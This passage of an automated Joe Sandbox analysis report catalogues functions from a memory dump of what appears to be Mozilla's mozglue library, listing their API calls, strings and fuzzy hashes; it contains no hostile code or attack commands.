Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction ID: dbcd13adabc6b76950f29d284a6a10ca0b35203b47f4cfe3f91f28bc11d472e7
Opcode Fuzzy Hash: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction Fuzzy Hash: 0D222871908B009FFB009F76C45865A77B5AF9634CF554629E84AA7F82EB30E484CB53

Function 6C99B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99B845
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99B852
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99B884
InitializeConditionVariable.KERNEL32(?), ref: 6C99B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C99B9FD
GetCurrentThreadId.KERNEL32 ref: 6C99BA05
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C99BA27
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99BA4B
free.MOZGLUE(?), ref: 6C99C9C7
free.MOZGLUE(?), ref: 6C99C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C99C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C99C7DA

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction ID: 33595b7736bef566392ee73db2a2ff1ddd88cb8ff5169e84838847bee9862f62
Opcode Fuzzy Hash: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction Fuzzy Hash: 9BA28D71A087808FD725CF28C88079BB7F5BFD9318F144A2DE899A7750DB70E9458B92

Function 6C966C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C966CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C966D26

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C966D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C966D73
free.MOZGLUE(00000000), ref: 6C966D80
CertGetNameStringW.CRYPT32 ref: 6C966DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C966DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C966DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C966E10
CryptMsgClose.CRYPT32(00000000), ref: 6C966E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C966E34
CreateFileW.KERNEL32 ref: 6C966EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C966F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C96709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C967103
free.MOZGLUE(00000000), ref: 6C967153
CloseHandle.KERNEL32(?), ref: 6C967176
__Init_thread_footer.LIBCMT ref: 6C967209
__Init_thread_footer.LIBCMT ref: 6C96723A
__Init_thread_footer.LIBCMT ref: 6C96726B
__Init_thread_footer.LIBCMT ref: 6C96729C
__Init_thread_footer.LIBCMT ref: 6C9672DC
__Init_thread_footer.LIBCMT ref: 6C96730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9673C2
VerSetConditionMask.NTDLL ref: 6C9673F3
VerSetConditionMask.NTDLL ref: 6C9673FF
VerSetConditionMask.NTDLL ref: 6C967406
VerSetConditionMask.NTDLL ref: 6C96740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C96741A
moz_xmalloc.MOZGLUE(?), ref: 6C96755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C967568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C967585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C967598
free.MOZGLUE(00000000), ref: 6C9675AC

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6C9672C8
(, xrefs: 6C96768A
SHA256, xrefs: 6C966EC0
wintrust.dll, xrefs: 6C9672CD

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction ID: 1af148cfaa595b17f45e2f4d97572ae5f9a3a2cedea4a4921c9536d7c3c72a20
Opcode Fuzzy Hash: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction Fuzzy Hash: CB52D3B1A046149BFB21DF25CC85BAA77BCEF55708F104199E909A7A80DB70EBC4CF91

Function 6C986FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987019
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987061
EnterCriticalSection.KERNEL32(?), ref: 6C9871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C98721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C98723E
EnterCriticalSection.KERNEL32(?), ref: 6C98726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C98733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C98961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C989622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C989642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896DB
AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C989747
GetSystemInfo.KERNEL32(?), ref: 6C989792
__Init_thread_footer.LIBCMT ref: 6C9897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C9897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C989838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C989874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C989895

Strings

<jemalloc>, xrefs: 6C989B33, 6C989BE3
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9899D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9899BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C989933, 6C989A33, 6C989A4E
Compile-time page size does not divide the runtime one., xrefs: 6C989B38
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9899A8
MOZ_CRASH(), xrefs: 6C989B42
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C989993
MALLOC_OPTIONS, xrefs: 6C9897CA
: (malloc) Unsupported character in malloc options: ', xrefs: 6C989BF4

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction ID: 4cfab2d6bf7420a4ecdf927842537904bdaab14e5361d5b89ce12db4493a5c79
Opcode Fuzzy Hash: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction Fuzzy Hash: A253B171A067018FD704CF28C580715FBE5BF85728F2ACAADE8699B791D371E841CB91

Function 6C990DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C990F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C990F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C990FB7
EnterCriticalSection.KERNEL32(?), ref: 6C990FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C991031
LeaveCriticalSection.KERNEL32(?), ref: 6C9910D0
EnterCriticalSection.KERNEL32(?), ref: 6C99117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C991C39
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C993391
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C993431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993437

Strings

<jemalloc>, xrefs: 6C993941, 6C9939F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9937BD
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C993559, 6C99382D, 6C993848
Compile-time page size does not divide the runtime one., xrefs: 6C993946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9937A8
MOZ_CRASH(), xrefs: 6C993950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C993793
MALLOC_OPTIONS, xrefs: 6C9935FE
: (malloc) Unsupported character in malloc options: ', xrefs: 6C993A02

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction ID: 88323adfe735787603888024a929bbd32d38c400ccc241e9f8c4747c956297d6
Opcode Fuzzy Hash: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction Fuzzy Hash: F0539D71A05B018FD304CF29C540616FBE5BF8A728F2DC6ADE8699BB91D771E841CB81

Function 6C9B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C98E1A5), ref: 6C9B5606
LoadLibraryW.KERNEL32(gdi32,?,6C98E1A5), ref: 6C9B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9B57FF

Strings

GetThreadDpiAwarenessContext, xrefs: 6C9B562D
CreateWindowExW, xrefs: 6C9B56C5
LoadIconW, xrefs: 6C9B575B
GetDpiForWindow, xrefs: 6C9B5690
SetWindowLongPtrW, xrefs: 6C9B57B7
ReleaseDC, xrefs: 6C9B5742
StretchDIBits, xrefs: 6C9B57CC
GetSystemMetricsForDpi, xrefs: 6C9B5677
MonitorFromWindow, xrefs: 6C9B578D
user32, xrefs: 6C9B5601
GetMonitorInfoW, xrefs: 6C9B57A2
SetWindowPos, xrefs: 6C9B56F7
CreateSolidBrush, xrefs: 6C9B57E4
FillRect, xrefs: 6C9B5729
DeleteObject, xrefs: 6C9B57F9
gdi32, xrefs: 6C9B560A
RegisterClassW, xrefs: 6C9B56AC
AreDpiAwarenessContextsEqual, xrefs: 6C9B5637
GetWindowDC, xrefs: 6C9B5710
EnableNonClientDpiScaling, xrefs: 6C9B5666
LoadCursorW, xrefs: 6C9B5774
ShowWindow, xrefs: 6C9B56DE

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction ID: 41747918415cd83854961cde67794af9457b0b5d570bd113f65776845f780560
Opcode Fuzzy Hash: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction Fuzzy Hash: B7513271719F03ABDB019F358D44A273ABCAB4B6897318965A911F3A51EFB0E840CF71

Function 6C9B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EE2

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9B61DD
Part of subcall function 6C9B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4157

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6250
Part of subcall function 6C9B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4896
free.MOZGLUE ref: 6C9B489F

Strings

, xrefs: 6C9B4CD2

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction ID: 2024a2ce44dd57baca4eb525791026bf68a6069d6195df2565f20f8c78d6c700
Opcode Fuzzy Hash: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction Fuzzy Hash: A8F23D74908B808FC725CF28C08469AFBF1FF99348F158A5ED999A7711DB31E496CB42

Function 6C9664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C966505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C966518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C96671C
GetCurrentProcess.KERNEL32 ref: 6C966724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C96672F
GetCurrentProcess.KERNEL32 ref: 6C966759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C966764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C966A80
GetSystemInfo.KERNEL32(?), ref: 6C966ABE
__Init_thread_footer.LIBCMT ref: 6C966AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AF7

Strings

_etoured.dll, xrefs: 6C9664ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C966798
detoured.dll, xrefs: 6C9664DA
nvd3d9wrap.dll, xrefs: 6C966500
user32.dll, xrefs: 6C966526
nvdxgiwrap.dll, xrefs: 6C966513

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction ID: f3bee4324432d92c21bcd1d3f6c1d1ac9eb2539a26f6e5108cf66aa5291763c1
Opcode Fuzzy Hash: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction Fuzzy Hash: 74F1D3709056199FEF20CF26CD48B9AB7B9AF46318F1442D9D809E3B81D731EA84CF91

Function 6C9860A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9860C9
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C98610D
